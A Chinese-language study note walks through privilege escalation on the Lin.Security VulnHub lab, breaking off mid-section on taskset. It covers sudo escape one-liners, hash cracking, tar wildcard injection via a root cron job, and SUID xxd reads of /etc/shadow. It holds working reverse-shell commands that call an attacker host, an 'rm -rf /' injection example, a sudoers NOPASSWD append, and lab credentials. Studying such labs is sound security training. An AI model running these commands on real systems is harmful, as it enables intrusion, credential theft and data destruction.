声明! 学习视频来自B站up主 **泷羽sec** 有兴趣的师傅可以关注一下,如涉及侵权马上删除文章,笔记只是方便各位师傅的学习和探讨,文章所提到的网站以及内容,只做学习交流,其他均与本人以及泷羽sec团队无关,切勿触碰法律底线,否则后果自负!!!!有兴趣的小伙伴可以点击下面连接进入b站主页[B站泷羽sec](https://space.bilibili.com/350329294)
靶场来源:
Lin.Security: 1 ~ VulnHub
靶场描述:
在lin.security,我们想要开发一款 Linux 虚拟机,在撰写本文时,该虚拟机基于最新的 Ubuntu 发行版 (18.04 LTS),但存在许多漏洞,可让用户在虚拟机上升级到 root 权限。此举旨在帮助了解某些内置应用程序和服务如果配置错误,可能会被攻击者滥用。
我们已经配置了该盒子来模拟现实世界中的漏洞(尽管是在单个主机上),这将帮助您完善本地特权升级技能、技术和工具集。有许多挑战,从相当简单到中级不等,我们很高兴看到您用来解决它们的方法!
该图像不到 1.7 GB,可以使用以下链接下载。打开 OVA 文件后,将导入一个名为 lin.security 的 VM 并配置 NAT 适配器,但可以通过您首选的虚拟化平台的首选项将其更改为桥接。
首先,您可以在此处下载 Lin.security,然后使用以下凭据登录主机: bob/secret
我们将在后续的文章中创建一个演练,详细介绍一些可能的方法。
靶场修复资料:
1,靶场的主线任务不是渗透测试,而是linux提权练习。以及知道了用户凭证bob/secret,那么就还需要知道靶场的IP地址
nmap -sn 192.168.23.0/24
2,直接使用ssh进行登录
ssh bob@192.168.23.170
第一类方法,sudo提权
sudo 提权原理
- sudo 配置文件:
- sudo 的行为由 /etc/sudoers 配置文件控制。这个文件定义了哪些用户或用户组可以执行哪些命令以及是否需要输入密码。
- 该文件遵循特定的语法规则,常见的配置包括允许用户在不需要输入密码的情况下执行某些命令,或者赋予用户执行特定命令的权限。
- sudo 权限分配:
- 用户可以通过 sudo 执行特定命令。例如,如果用户被授权运行 sudo ls,用户可以作为 root 执行 ls 命令。
- sudoers 文件中的配置项通常包括如下格式:
user_name ALL=(ALL) ALL
这表示 user_name 可以在任何主机上,以任何用户身份执行任何命令。
- sudo 的工作方式:
- 当用户执行 sudo 命令时,sudo 会验证该用户是否在 /etc/sudoers 文件中具有足够的权限。
- 如果用户被授权并且在规定时间内没有输入错误密码,sudo 会以 root 权限执行指定的命令。
sudo 提权流程
- 漏洞利用(通过配置错误或漏洞):
- 误配置的 sudoers 文件:如果 /etc/sudoers 文件被错误配置,攻击者可能获得执行 root 权限的能力。
- 允许执行无密码的命令:如果某些命令被配置为允许用户无需密码执行(例如 user ALL=(ALL) NOPASSWD: ALL),则攻击者可以执行这些命令来提升权限。
- 路径优先问题:如果 sudo 配置允许用户在不完全指定路径的情况下执行某些程序,攻击者可以利用路径优先问题执行恶意代码。例如,如果 sudo 配置了可以执行 /usr/bin/ls,而 PATH 中的当前目录或其他目录包含恶意版本的 ls 程序,攻击者就可以利用该漏洞执行任意命令。
- 利用环境变量:
- LD_PRELOAD 漏洞:某些命令在执行时可能会加载共享库。通过修改 LD_PRELOAD 环境变量,攻击者可以使系统加载恶意的动态库。即便是具有 root 权限的命令,也有可能被恶意库劫持,从而实现提权。
- 利用命令的副作用:
- 如果 sudo 配置允许用户执行某些命令(如编辑文件),但没有限制文件路径或文件类型,攻击者可以通过修改文件来植入恶意代码,从而获得更高的权限。
信息收集,sudo -l查看有哪些文件具有sudo特殊权限
/usr/bin/env:
- env 是一个常见的命令,可以用来执行环境变量配置并运行命令。由于 env 可以设置环境变量,尤其是 LD_PRELOAD 和 PATH,它通常会被攻击者用来执行恶意库或二进制文件。
- 在许多情况下,env 被用来绕过环境变量的限制,尤其是当执行命令时有路径问题或通过 LD_PRELOAD 等环境变量注入恶意代码。
提权方法:使用 sudo 通过 env 来执行带有恶意环境变量的命令:
sudo /usr/bin/env LD_PRELOAD=/path/to/malicious/library /bin/bash
通过 LD_PRELOAD 来加载恶意共享库,这样可以实现提权。
/bin/bash, /bin/sh, /bin/zsh,/bin/ash,/bin/csh,/bin/dash/,:
- bash, sh, zsh 等 shell 可以直接被用来启动交互式命令行,如果攻击者能够利用某种方式绕过 sudo 权限验证,或者通过某些特殊配置,这些 shell 命令可以被用来提升权限。
- 这些 shell 是常见的提权工具,尤其是在没有对这些命令的路径或环境进行严格限制的情况下。
提权方法:通过 sudo 启动一个 shell,假设可以执行 bash 或 sh,攻击者可以在 shell 环境中执行进一步的命令。比如,尝试执行:
sudo /bin/bash
sudo /bin/sh
sudo /bin/zsh
3.利用 vi 或 vim 执行任意命令
vi 和 vim 允许用户通过 :! 命令来执行外部命令。如果这些编辑器被授权以 sudo 权限运行,攻击者可以通过 vi 执行任意命令。
命令:
sudo /usr/bin/vi
# 在 vi 中,按下 Esc 键后输入:
:!id
解释:通过 :! 可以执行系统命令,例如 id
sudo vi -c ':!/bin/sh' /dev/null
4. 利用 perl 或 tclsh 执行任意命令
perl 和 tclsh 作为解释器,可能能够执行恶意脚本。如果可以使用 sudo 来运行这些解释器,攻击者可以通过构造恶意的脚本来提权。
命令(perl 示例):
sudo /usr/bin/perl -e 'system("/bin/bash");'
解释:该命令通过 perl 执行一个 shell 命令,这将启动一个 root 权限的 shell,从而获取更高权限。
sudo perl -e 'exec "/bin/sh";'
5. 利用 expect 自动化交互过程
expect 是一个用于自动化交互式会话的工具,可以用来绕过密码提示并执行命令。如果 sudo 需要密码并且没有特别限制,expect 可以用来自动输入密码或执行命令。
命令:
sudo /usr/bin/expect -c 'spawn sudo /bin/bash; interact'
6. 利用 scp 执行命令(如果配置不当)
scp 命令可以通过某些配置进行利用,尤其是在文件传输过程中,如果配置了不当的路径或文件权限,可能允许攻击者上传恶意文件并执行。
命令:
sudo /usr/bin/scp /path/to/malicious/script root@localhost:/tmp/
sudo /usr/bin/scp root@localhost:/tmp/script /bin/bash
解释:如果配置不当,攻击者可能能够通过 scp 上传并执行恶意文件,从而提权。
7. 利用 socat 创建反向 shell(如果配置不当)
socat 是一个网络工具,可以用于创建网络连接,如果系统允许,攻击者可以利用 socat 来启动反向 shell 或通过网络执行命令。
命令:
sudo /usr/bin/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.23.140:4444
解释:此命令会启动一个反向 shell,连接到攻击者的机器上,从而实现远程访问。
socat是一个强大的网络工具,用于建立双向数据流连接。它可以通过网络、文件、设备和其他进程进行数据传输。socat 是 SOcket CAT 的缩写,类似于 cat 命令,但是 socat 能处理网络套接字(sockets)等更多的通信方式,因此被广泛应用于网络调试、代理、端口转发、反向 shell、隧道等任务。
socat 的基本功能
socat可以在不同的数据源之间进行桥接,它支持的协议包括:
- TCP、UDP、Unix 域套接字(Unix Domain Sockets)
- 文件、设备、管道、串口等
- SSL/TLS 加密的连接
- 通过管道或文件进行的进程间通信
基本命令结构
socat 的基本命令结构如下:
socat [options] <address1> <address2>
<address1> 和 <address2> 是指定通信的两端,可以是 IP 地址、端口号、文件路径、设备等。
- [options] 是可选的参数,可以配置超时、加密等功能。
sudo socat stdin exec:/bin/sh
socat:是一个多用途的网络工具,通常用于建立不同协议之间的连接。在这个命令中,它用于将标准输入 (stdin) 和一个 shell (/bin/sh) 连接起来。
stdin:标准输入,指代从终端或命令行接收的输入。在这里,它指定的是从输入流获取数据。
exec:/bin/sh:表示通过 exec 选项启动 /bin/sh,即启动一个 shell 进程。exec 是 socat 中的一个选项,用于执行指定的命令,并将其连接到输入输出流
8,ed
ed 是一个经典的 行编辑器(line editor),在 Unix 和 Linux 系统中可用。与现代的文本编辑器(如 vim 或 nano)不同,ed 是一个较低级别的编辑器,它只能逐行编辑文件,并且它是通过命令行交互的方式操作文件的。ed 是最早的 Unix 编辑器之一,通常不适用于交互式编辑,但它在脚本中作为自动化编辑工具仍然有其特定的用途。
基本特性
- 行编辑器:ed 编辑文件的基本单位是 "行",每次只能编辑一行内容,而不像其他现代编辑器一样提供文本块或可视化界面。
- 无界面:与图形界面编辑器不同,ed 只是通过命令行输入和输出进行交互,没有交互式界面。
- 历史悠久:ed 是 Unix 系统的原生编辑器之一,许多现代编辑器(如 vi)的设计理念都受到 ed 的影响。
sudo ed
!/bin/sh
9,awk
一个强大的文本分析工具,相对于grep的查找,sed的编辑,awk在其对数据分析并生成报告时,显得尤为强大。简单来说awk就是把文件逐行的读入,以空格为默认分隔符将每行切片,切开的部分再进行各种分析处理。
sudo awk 'BEGIN {system("/bin/sh")}'
10,curl
curl是一个常用的命令行工具,用于在网络上进行数据传输。它支持多种协议,包括 HTTP、HTTPS、FTP、SMTP、POP3、IMAP、LDAP 等,可以用于从服务器下载文件、上传文件、与 API 交互等。
curl 是一个非常强大的工具,在网络测试、调试和自动化脚本中广泛使用。由于其高度可配置性和支持的协议种类,curl 成为开发者、系统管理员以及渗透测试人员的必备工具。
基本用法
curl 的基本命令格式如下:
curl [options] [URL]
其中,[options] 是一系列选项,[URL] 是你要访问的资源(通常是一个网址)
sudo curl file:///etc/shadow
11,env
在 Linux 和 Unix 系统中,env 是一个非常有用的命令,它用于显示、设置或修改环境变量。环境变量是操作系统中影响进程运行的一组动态值,它们通常包含有关系统、用户和程序的配置和状态信息。
基本用法
env 命令可以有多种用途,下面是常见的几种:
1. 显示当前环境变量
如果你想查看当前的环境变量,可以使用 env 命令不带任何参数:
env
这将显示所有当前的环境变量及其值,例如:
USER=bob
HOME=/home/bob
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin
SHELL=/bin/bash
2. 运行程序时修改环境变量
env 允许你在运行命令时临时修改环境变量。例如,你可以设置环境变量并运行某个命令,而不会影响系统的全局环境:
env VAR_NAME=value command
其中,VAR_NAME=value 设置了环境变量,command 是你要运行的命令。
例如,临时修改 PATH 环境变量并运行 ls 命令:
env PATH=/new/path/to/bin ls
这个命令将运行 ls,并且只在这次执行中将 PATH 设置为 /new/path/to/bin,而不会影响当前用户的其他命令或系统全局的 PATH。
3. 运行命令并清空环境变量
使用 -i 选项可以启动一个完全干净的环境,去掉所有现有的环境变量:
env -i command
例如,如果你想运行一个命令并且不继承任何环境变量,可以使用:
env -i bash
这个命令将启动一个新的 bash 会话,但是不会继承任何当前的环境变量。
4. 设置多个环境变量
你可以在单个 env 命令中设置多个环境变量:
env VAR1=value1 VAR2=value2 command
例如:
env PATH=/new/path VAR1=value1 ls
5. 使用 env 运行脚本
你还可以使用 env 来运行脚本,这样可以确保脚本在指定的环境变量下运行,且不依赖当前环境:
env VAR_NAME=value ./script.sh
常见环境变量
在 Linux 和 Unix 系统中,env 通常显示和使用以下几种环境变量:
- PATH:指定可执行文件的搜索路径。系统根据这个环境变量查找命令。
- HOME:当前用户的家目录。
- USER:当前用户的用户名。
- SHELL:当前用户使用的 shell 类型(例如 /bin/bash)。
- LANG:系统的默认语言环境。
- PWD:当前工作目录。
- EDITOR:指定系统默认的文本编辑器。
sudo env /bin/sh
11,find
Linux find 命令用来在指定目录下查找文件。任何位于参数之前的字符串都将被视为欲查找的目录名。如果使用该命令时,不设置任何参数,则 find 命令将在当前目录下查找子目录与文件。并且将查找到的子目录和文件全部进行显示。
sudo find . -exec /bin/sh \; -quit
12,ftp
Linux ftp命令设置文件系统相关功能。
FTP是ARPANet的标准文件传输协议,该网络就是现今Internet的前身。
sudo ftp
!/bin/sh
13,Less
less 与 more 类似,但使用 less 可以随意浏览文件,而 more 仅能向前移动,却不能向后移动,而且 less 在查看之前不会加载整个文件。
sudo less /etc/passwd
!/bin/sh
14,Man
Linux提供了丰富的帮助手册,当你需要查看某个命令的参数时不必到处上网查找,只要man一下即可。可以使用man查看man的使用方法。
sudo man man
!/bin/sh
15,More
Linux more 命令类似 cat ,不过会以一页一页的形式显示,更方便使用者逐页阅读,而最基本的指令就是按空白键(space)就往下一页显示,按 b 键就会往回(back)一页显示,而且还有搜寻字串的功能(与 vi 相似),使用中的说明文件,请按 h 。
Sudo more /etc/passwd
!/bin/sh
16,Scp
Linux scp 命令用于 Linux 之间复制文件和目录。scp 是 secure copy 的缩写, scp 是 linux 系统下基于 ssh 登陆进行安全的远程文件拷贝命令。
scp 是加密的,rcp 是不加密的,scp 是 rcp 的加强版。
TF=$(mktemp)
echo 'sh 0<&2 1>&2' > $TF
chmod +x "$TF"
sudo scp -S $TF x y:
17,ssh
sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
解析 ProxyCommand=';sh 0<&2 1>&2' 部分
- ProxyCommand:这是 SSH 配置中的一个选项,通常用来指定在 SSH 连接之前运行的命令。这个命令的输出会通过 SSH 的标准输入输出流传递,使 SSH 可以通过该命令建立连接。
- ;sh 0<&2 1>&2:
- ;:这是一个 shell 中的命令分隔符,表示将命令分开执行,后面的命令在前面的命令执行后才开始执行。
- sh:这个命令启动一个新的 shell 进程,通常是 /bin/sh。
- 0<&2:这是一个文件描述符的重定向,表示将标准输入(stdin)连接到标准错误(stderr)。即,这个 shell 的输入将通过错误流(stderr)接收。
- 1>&2:这也是文件描述符的重定向,表示将标准输出(stdout)连接到标准错误(stderr)。即,这个 shell 的输出将发送到错误流(stderr)中。
这两个重定向命令 (0<&2 1>&2) 实际上是将 shell 的 标准输入 和 标准输出 与 标准错误 连接起来。这可能的目的是为了隐藏输出或者绕过日志记录等监控系统。
总结:这条命令的作用
- 代理命令:ProxyCommand=';sh 0<&2 1>&2' 的作用是启动一个 sh shell,并对它的输入输出进行重定向,使得它从 stderr 中读取输入,并且将输出发送到 stderr。这种方式常见于攻击者试图隐藏其活动时使用,因为标准错误流可能不会被同样审计或监控。
- 权限提升:由于命令使用了 sudo,它将以 root 权限 执行。即便当前用户没有 root 权限,也可以通过 sudo 提升权限来执行这条命令。这为攻击者提供了获得 root 权限的途径。
- 远程执行:SSH 命令的目标是连接到远程主机 x,通过代理命令的作用,攻击者可能意图通过 SSH 建立一个反向 shell 或者通过输入输出的重定向建立一种隐蔽的通信渠道。;sh 0<&2 1>&2 可能试图隐藏其行为或绕过系统的监控措施。
18,pico
sudo pico
^R^X
reset; sh 1>&0 2>&0
提权原理
这段命令的核心提权逻辑依赖以下几个点:
- sudo pico 提升权限:
- 通过 sudo 运行 pico,攻击者获得了一个以 root 权限运行的交互式环境。
- 利用 pico 的外部调用能力:
- 攻击者通过 ^R 键(读取文件)加载恶意命令,并执行它。
- 在某些版本中,这可能会调用系统命令,或者直接以 root 权限启动一个交互式 shell。
- 启动交互式 shell:
- 最终通过 reset; sh 1>&0 2>&0,攻击者成功启动了一个以 root 权限运行的 shell。
- 此 shell 的输入和输出被重新定向,可能用于规避检测或隐藏操作。
实际使用流程
- 攻击者输入 sudo pico,启动一个拥有 root 权限的 pico 实例。
- 按下 Ctrl+R,利用 “读取文件” 功能,输入命令或加载恶意代码。
- 按下 Ctrl+X 提交操作。
- 利用 reset; sh 1>&0 2>&0 启动一个以 root 权限运行的 shell,从而完成提权
19, rvim
- Vim 是一个强大而广泛使用的文本编辑器,适用于 Unix/Linux 系统以及其他平台。
- rvim 是 Vim 的一种特殊运行模式,称为 受限模式(Restricted Mode)。
- 在受限模式下,Vim 的某些功能被禁用,以防止用户执行潜在的危险操作,例如运行外部命令或编辑某些系统级文件。
当以 rvim 启动 Vim 时,或者运行 Vim 并加上 -Z 参数(如 vim -Z),Vim 会进入受限模式。
在 rvim 模式下,以下功能被禁用:
- 无法运行外部命令:
- 普通 Vim 中可以使用 :! 命令运行系统级外部命令,例如 :!ls 会列出当前目录内容。
- 在 rvim 中,这种能力被禁用,以避免通过编辑器执行任意系统命令。
- 无法修改 shell 相关选项:
- 在普通 Vim 中,用户可以通过修改 shell 选项来更改 Vim 调用外部命令的方式。
- 在 rvim 中,相关设置(如 shell、shellcmdflag 等)会被锁定。
- 无法切换文件系统的权限级别:
- 例如,无法打开与编辑器无关的系统级配置或尝试提权。
- 无法编辑特定文件:
- 如果设置了 secure 或其他受限选项,则某些文件会受到限制。
sudo rvim -c ':python3 import os; os.execl("/bin/sh", "sh", "-c", "reset; exec sh")'
20,tclsh
1. Tcl 和 tclsh 简介
- Tcl:
- Tcl 是一种简单而强大的脚本语言,设计为通用脚本工具,广泛用于嵌入式系统、自动化任务、测试脚本等场景。
- 其语法非常灵活且易于扩展。
- tclsh:
- tclsh 是 Tcl 的命令行解释器,用户可以通过它运行 Tcl 脚本文件或进入交互模式直接输入命令。
- 一般安装路径:/usr/bin/tclsh 或 /usr/local/bin/tclsh。
sudo tclsh
exec /bin/sh <@stdin >@stdout 2>@stderr
21,git
一个开源的分布式版本控制系统,可以有效、高速地处理从很小到非常大的项目版本管理。
sudo git -p help config
!/bin/sh
22,script
sudo script -q /dev/null
提权原理:
- 当使用 script 时,它会创建一个新的伪终端(pseudo-terminal,简称 pty)。这个伪终端允许用户与当前环境交互,甚至在某些情况下突破 sudo 的限制。
- 通过 sudo 启动 script,由于 script 启动后将直接创建一个新的 shell,用户可以在这个 shell 中执行任意命令,并且继承了 sudo 的权限(即 root 权限)。
第二类方法,hash密码破解
/etc/passwd 文件的标准格式
每一行通常包含七个字段,以冒号 (:) 分隔。这些字段的含义如下:
username:password:UID:GID:GECOS:home_directory:shell
各个字段的解释
- username:用户的登录名(用户名),这是用来标识用户的唯一字符串。
- password:用户密码的存储位置。通常,这个字段会包含一个占位符,如 x 或 *,表示密码实际上存储在 /etc/shadow 文件中。直接在 passwd 文件中存储密码已经不再安全。
- UID:用户 ID(User ID),是一个整数值,唯一标识系统中的每个用户。通常系统用户的 UID 小于 1000,而普通用户的 UID 通常大于 1000。
- GID:用户组 ID(Group ID),表示用户所属的主要用户组的 ID。这个组的名称通常与用户名相同。
- GECOS:用户的全名或描述信息(General Electric Comprehensive Operating Supervisor)。通常这个字段存储用户的真实姓名或者一些额外的注释信息。
- home_directory:用户的家目录路径。当用户登录时,系统会将他们放到这个目录。
- shell:用户的登录 shell。通常是一个命令行解释器,如 /bin/bash、/bin/zsh 等。
实例:cat /etc/passwd
- root 是用户名
- x 表示密码存储在 /etc/shadow 文件中
- 0 是 UID 和 GID,代表 root 用户
- root 是 GECOS 字段,表示用户的全名
- /root 是家目录
- /bin/bash 是登录 shell
1,登录靶机,查看其/etc/passwd,要求只看具有登录权限的用户
cat /etc/passwd |grep "sh"
2,可以看到insecurity用户后面有一段密码,应该是被hash加密的密码,可以在攻击机上使用john进行彩虹表爆破,得出明文
也可以使用解密网站解密insecurity/P@ssw0rd!
3,然后再ssh登录insecurity用户
ssh insecurity@192.168.23.170
第三类方法:对crontab定时任务tar命令注入
tar 命令注入(Tar Command Injection)是一种利用 tar 工具在特定条件下存在的安全漏洞来执行恶意命令或获取系统权限的攻击方法。攻击者可以通过构造恶意的输入,利用 tar 命令的某些功能注入并执行系统命令,从而达到提权或获取敏感信息的目的。
tar 命令概述
tar(全称 tape archive)是一个广泛用于文件归档和解压的 Linux 工具,通常用于将多个文件和目录打包成一个文件(.tar)以便于存储或传输。它的基本用法如下:
tar -cvf archive.tar file1 file2
- -c:创建新的归档。
- -v:显示详细输出。
- -f:指定归档文件名。
- -x:解压归档文件。
在一些情况下,tar 命令可能存在安全问题,尤其是当它处理不受信任的输入(如用户输入)时。如果没有对输入进行适当的验证,攻击者可能能够通过构造恶意输入来执行不安全的命令。
tar 命令注入的原理
tar 命令注入通常发生在 tar 命令构造过程中,其中攻击者通过注入一些特殊字符来“绕过”正常的命令结构,从而执行恶意命令。tar 命令常常会通过解析用户输入的文件或目录路径来生成归档文件,而这种处理方式可能导致潜在的命令注入漏洞。
常见的注入方式
- 命令分隔符: 在许多 Linux 命令中,分号(;)和双管道(||)等字符用于分隔不同的命令。如果用户输入的数据没有经过适当处理,攻击者可以在 tar 命令的参数中插入这些字符,导致系统执行恶意命令。
- 路径注入: tar 处理路径的方式也可能会被滥用。攻击者可能通过构造带有特殊符号的路径,利用路径穿越或符号链接等手段来执行系统命令。
- 反引号注入: 如果 tar 的命令输入允许反引号(`)或 $() 等命令替换操作符,攻击者可以通过嵌入反引号或命令替换来执行任意命令。
具体示例:tar 命令注入
假设系统中的某个脚本或程序使用 tar 来创建归档文件,但没有对用户输入进行充分的验证或过滤。攻击者可以通过精心构造输入来触发命令注入。
1. 注入分号(;)
tar -cvf archive.tar file1 file2; rm -rf / # 注入删除命令
在这个例子中,分号 ; 用于分隔两个命令。当 tar 被执行时,它会执行原本的归档操作,但由于分号注入,后面的 rm -rf / 命令也会被执行,导致攻击者可能删除系统中的所有文件。
2. 注入反引号(`)
tar -cvf archive.tar file1 file2 `cat /etc/passwd`
在这种情况下,反引号注入可以用来执行命令。上面的命令会把 /etc/passwd 文件的内容注入到 tar 命令的输入中,可能导致敏感信息泄露。
3. 利用符号链接(Symlink)
如果 tar 命令没有正确处理文件路径,攻击者可以利用符号链接(symlink)来修改归档内容或覆盖敏感文件。
例如,攻击者可以创建一个符号链接,将其指向系统的敏感文件(如 /etc/passwd 或 /etc/shadow),然后将该链接包含在 tar 归档中。当归档被解压时,系统文件可能被覆盖或篡改。
ln -s /etc/passwd malicious_symlink
tar -cvf archive.tar malicious_symlink
防止 tar 命令注入
要防止 tar 命令注入,开发人员和系统管理员应该采取以下几种安全措施:
- 验证和清理用户输入:
- 始终对用户输入进行严格验证,确保输入不包含特殊字符,如分号(;)、反引号(`)、管道符(|)、双管道(||)等。
- 可以使用正则表达式限制输入字符范围,只允许用户输入安全的路径和文件名。
- 使用绝对路径:
- 避免使用相对路径,确保命令执行时使用的路径是明确和安全的。
- 使用绝对路径(例如 /bin/tar)来调用 tar,以防止通过路径劫持执行恶意命令。
- 避免用户输入传递给命令:
- 尽量避免将用户输入直接传递给命令执行。如果必须要这样做,应当使用安全的方式(如 execvp、subprocess 或类似库),而不是简单地将用户输入拼接到命令行中。
- 最小化权限:
- 确保运行 tar 命令的用户具有最小权限,避免使用具有过高权限的用户执行此类操作。
- 对于执行归档的操作,使用专用的系统用户,确保该用户没有执行其他命令的能力。
- 使用 -T 选项:
- 如果需要处理大量文件,考虑使用 tar 的 -T 选项,该选项可以通过一个文件指定归档内容,而不是直接通过命令行传递多个文件名。这可以有效避免命令注入问题。
tar -cvf archive.tar -T file_list.txt
- 使用适当的安全审计工具:
- 使用安全工具(如 AppArmor、SELinux、grsecurity 等)来限制进程的权限和访问能力,减少潜在的攻击面。
总结
tar 命令注入是一种通过巧妙地利用 tar 工具的命令行结构或输入处理方式执行恶意命令的攻击方法。攻击者可以通过注入分号、反引号等特殊字符,或利用符号链接等技术,执行任意命令。为了防止此类攻击,开发人员应该对用户输入进行严格的验证和过滤,并采取最小权限原则,限制进程访问敏感资源。
1,在靶机里面查看一下被制定的定时任务
cat /etc/crontab
发现有一个root用户每分钟执行一次的定时任务,内容是执行/etc/cron.daily/backup文件
2,查看一下/etc/cron.daily/backup文件
此脚本的主要作用是备份 /home 目录下每个用户的文件夹,将每个用户的文件夹内容压缩到 /etc/backups 目录下。每个压缩包的文件名是 home-<username>.tgz
3,在kali上使用msfvenom 生成一个反弹shell
msfvenom -p cmd/unix/reverse_netcat lhost=192.168.23.140 lport=4444
mkfifo /tmp/cuuylvs; nc 192.168.23.140 4444 0</tmp/cuuylvs | /bin/sh >/tmp/cuuylvs 2>&1; rm /tmp/cuuylvs
4,在bob目录下创建两个文件
echo > "--checkpoint-action=exec=sh shell.sh"
echo > "--checkpoint=1"
1. 与 GNU tar 提权漏洞相关
- 在某些版本的 tar 工具中,存在通配符漏洞(Wildcard Injection)。如果使用 tar 处理包含这些文件的目录,并启用了 --checkpoint 或 --checkpoint-action 参数,那么这些特殊文件名会被误解析为 tar 的选项,触发任意代码执行。
- 举例:通过文件名 --checkpoint-action=exec=sh shell.sh,可以在解压或打包时执行 sh shell.sh 中的代码。
结合的命令可能类似:
tar -cf archive.tar *
如果目录中包含上述两个文件:
- --checkpoint=1 会触发 tar 的检查点机制。
- --checkpoint-action=exec=sh shell.sh 会导致 tar 执行 sh shell.sh,从而实现代码执行。
2. 权限提升
- 如果攻击者能够控制文件的名字,而管理员或具有高权限的用户在未注意的情况下运行了 tar,攻击者就能利用该机制执行任意命令。
- 比如,攻击者可能创建一个恶意脚本 shell.sh,内容为:
#!/bin/bash
echo "root ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
然后利用上述文件名配合 tar,在高权限用户运行时,添加自己为 sudo 用户。
5,将反弹shell攻击语句写入一个shell文件
echo "mkfifo /tmp/ujwa; nc 192.168.23.140 4444 0</tmp/ujwa | /bin/sh >/tmp/ujwa 2>&1; rm /tmp/ujwa" > shell.sh
与此同时要在攻击机上面打开4444端口监听
成功提权成为root用户
第四类方法,suid提权
1,首先查找具有suid权限的文件
find / -perm -4000 -type f -exec ls -al {} \; 2>/dev/null
-perm -4000
- -perm 是 find 的选项,用来匹配文件的权限。
- -4000 表示查找权限中SUID 位被设置的文件。
- SUID (Set User ID):当文件被执行时,进程会以文件所属用户(通常是 root)的权限运行,而不是执行该文件的用户的权限。
-exec ls -al {} \;
- -exec 是 find 的一个选项,用于对每个匹配的文件执行特定命令。
- ls -al 是一个列出文件详细信息的命令,用来显示文件的权限、所属用户、所属组、文件大小等信息。
- {} 是一个占位符,表示当前查找到的文件。
- \; 是 -exec 的结束标志。
效果:对于每个查找到的 SUID 文件,执行 ls -al,输出该文件的详细信息
xxd 是 Linux 系统中的一个命令行工具,主要用于将文件或标准输入中的数据以**十六进制(hex)**格式显示,或者将十六进制格式的数据还原为二进制文件。它在分析和调试二进制文件时非常有用。
命令功能
- 将文件转换为十六进制格式输出。
- 将十六进制格式的数据还原为原始数据。
- 支持设置输出的格式、长度等参数。
基本用法
以下是 xxd 的常见用法及其说明。
1. 显示文件的十六进制内容
xxd filename
- 输出文件的十六进制表示,同时显示每一行的偏移地址。
- 示例:
xxd example.txt
输出:
00000000: 4865 6c6c 6f20 576f 726c 6421 0a Hello World!.- 第一列:偏移地址(00000000 表示文件开始)。
- 中间部分:以十六进制表示的文件数据。
- 右侧:对应的 ASCII 表示(如果是不可打印字符,则显示为.)。
2. 将标准输入的数据转换为十六进制
xxd 也可以处理标准输入数据:
echo "Hello World" | xxd
输出:
00000000: 4865 6c6c 6f20 576f 726c 640a Hello World.
3. 将十六进制还原为原始文件
xxd 支持将十六进制数据转换回原始数据。需要使用 -r 选项:
xxd -r hexfile > original_file
- 示例:从文件中还原数据:
xxd file.hex | xxd -r > original_file
4. 设置每行显示的字节数
可以用 -c 选项控制每行输出的字节数,默认是 16 字节:
xxd -c 8 filename
- 示例:
xxd -c 8 example.txt
输出:
00000000: 4865 6c6c 6f20 576f Hello Wo
00000008: 726c 6421 0a rld!.
5. 设置偏移量(跳过前 N 个字节)
用 -s 选项设置偏移量,从指定字节开始显示:
xxd -s 4 filename
- 示例: 如果文件内容是 Hello World!,从第 4 个字节(偏移量 4)开始显示: 输出:
00000004: 6f20 576f 726c 6421 0a o World!.
6. 指定输出的字节数
用 -l 选项指定显示的字节数:
xxd -l 8 filename
- 示例: 如果文件内容是 Hello World!,仅显示前 8 个字节: 输出:
00000000: 4865 6c6c 6f20 576f Hello Wo
7. 创建自定义格式的十六进制
使用 -p(plain)选项生成不带偏移量的简单十六进制输出:
xxd -p filename
- 示例:
xxd -p example.txt
输出:
48656c6c6f20576f726c64210a
8. 转换为二进制文件
将文本转为十六进制后保存到文件,再还原为二进制文件:
- 转为十六进制:
xxd -p example.txt > example.hex - 从十六进制还原为原始文件:
xxd -r -p example.hex > original_file
9. 查看帮助信息
xxd --help
会显示所有可用的选项及其说明。
实际用途
- 调试和分析二进制文件:
- 可用于检查文件头、数据结构等。
- 示例:查看 ELF 文件的文件头:
xxd /bin/ls | head
- 文件篡改和恶意代码分析:
- 在检查恶意软件或分析文件完整性时,常需要查看文件的十六进制内容。
- 网络协议调试:
- 分析网络流量或二进制协议时,xxd 常用来解析原始数据包内容。
- 手工编辑十六进制文件:
- 可用 xxd 将二进制文件转为十六进制格式,编辑后再还原。
- 学习和教学用途:
- 用于展示文件在磁盘上的存储形式,理解二进制数据的存储方式。
2,xxd命令itservices组成员有执行权限,查看一下这个用户组成员
cat /etc/group | grep itservices
这里使用xxd读取shadow,因为直接cat权限肯定是不够的
3,尝试切换到susan用户,需要密码。但是通过find查找可疑的隐藏文件,找到了被藏起来的的susan账户的密码
find / -name ".*" -type f -path "/home/*" -exec ls -al {} \; 2>/dev/null
账户/密码:susan/MySuperS3cretValue!
4,成功切换到susan用户,执行命令查看/etc/shadow/文件:
xxd "/etc/shadow" |xxd -r
爆破MD5值得到root用户的密码secret123
root:$6$aorWKpxj$yOgku4F1ZRbqvSxxUtAYY2/6K/UU5wLobTSz/Pw5/ILvXgq9NibQ0/NQbOr1Wzp2bTbpNQr1jNNlaGjXDu5Yj1:17721:0:99999:7:::
5,最后切换成为root用户,成功提权
6,从查询suid权限文件里面得到另一种提权利用的方法,taskset
taskset 是一个 Linux 命令行工具,用于设置或检索特定进程的 CPU 亲和性(CPU affinity),即限制或指定进程可以在哪些 CPU 核心上运行。
在正常情况下,taskset 的用途是优化系统性能或进行负载均衡,但在特定场景下,也可能被攻击者用作提权或进行恶意操作的工具。
基础知识:taskset 命令
taskset 的基本语法如下:
taskset [options] mask command [args...]
taskset [options] -p [mask] pid
- mask:一个十六进制的 CPU 掩码(bitmask),用于指定进程运行的 CPU 核心。例如:
- 0x1:指定进程只能在 CPU 0 上运行。
- 0x3:指定进程可以在 CPU 0 和 CPU 1 上运行。
- command:要运行的命令。
- -p:修改已有进程的 CPU 亲和性,而不是启动一个新进程。
安全隐患
虽然 taskset 本身并不直接引发安全问题,但在某些情况下,它可以被攻击者用来配合其他漏洞或误配置进行恶意操作。以下是一些可能的攻击场景:
1. 配合 SUID 二进制进行提权
